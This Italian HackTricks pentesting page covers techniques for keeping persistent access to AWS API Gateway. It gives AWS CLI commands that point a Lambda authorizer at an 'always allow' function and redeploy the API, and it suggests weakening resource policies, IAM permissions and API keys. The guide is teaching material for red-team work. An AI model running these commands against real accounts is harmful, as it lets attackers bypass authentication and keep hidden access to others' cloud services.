AWS - API Gateway Persistenza

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

API Gateway

Per maggiori informazioni vai a:

AWS - API Gateway Enum

Resource Policy

Modifica la resource policy degli API Gateway per concederti l’accesso a essi

Modifica Lambda Authorizers

Modifica il codice dei Lambda authorizers per concederti l’accesso a tutti gli endpoint.
Oppure rimuovi semplicemente l’uso dell’authorizer.

Se hai permessi sul control-plane per creare/aggiornare un authorizer (REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer) puoi anche reindirizzare l’authorizer verso una Lambda che consente sempre.

REST APIs (le modifiche tipicamente richiedono un deployment):

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

HTTP APIs / apigatewayv2 (spesso ha effetto immediato):

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Permessi IAM

Se una risorsa sta usando IAM authorizer puoi darti accesso modificando i permessi IAM.
Oppure rimuovi semplicemente l’uso dell’authorizer.

API Keys

Se vengono utilizzate API keys, puoi leakarle per mantenere la persistenza o anche crearne di nuove.
Oppure rimuovi semplicemente l’uso delle API keys.

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks